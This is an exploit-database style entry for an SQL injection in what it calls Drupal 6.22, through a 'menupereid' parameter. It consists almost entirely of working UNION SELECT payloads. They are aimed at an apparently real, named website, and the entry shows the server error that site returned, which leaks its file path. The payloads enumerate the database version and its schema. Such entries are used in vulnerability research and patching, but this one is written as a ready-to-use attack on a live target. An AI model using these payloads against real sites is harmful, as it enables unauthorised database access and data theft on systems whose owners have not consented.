###################### # Exploit Title : Drupal 6.22 - menupereid SQL injection Vulnerability # Exploit Author : xBADGIRL21 # Category: [ Webapps ] # Tested on: [ Win | Linux] # Version: Drupal 6.22 # Date: 2016/07/04 ###################### # PoC: # http://www.site.com/content/menucustom?menupereid=[SQLi] # + test:=> http://www.cicame.ca/en/content/menucustom?menupereid=8' # # respone:user warning: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax # to use near ''' at line 1 query: select * from menu where menuid=8' in /var/www/d6.cicame-energie.ca/html/includes/common.inc(1743) : eval()'d code on line 222 + Demo # http://www.cicame.ca/en/content/menucustom?menupereid=8 # http://www.cicame.ca/en/content/menucustom?menupereid=-8 UNION SELECT 1,2,3,4,5,6,7,8--+ # http://www.cicame.ca/en/content/menucustom?menupereid=-8 UNION SELECT 1,2,3,4,5,version(),7,8--+ # http://www.cicame.ca/en/content/menucustom?menupereid=-8 UNION SELECT 1,2,3,4,5,concat(column_name,0x3e,table_schema,0x3e,table_name),7,8 from # information_schema.columns--+ ###################### # Discovered by : xBADGIRL21 # Greetz : All Mauritanien Hackers - NoWhere #######################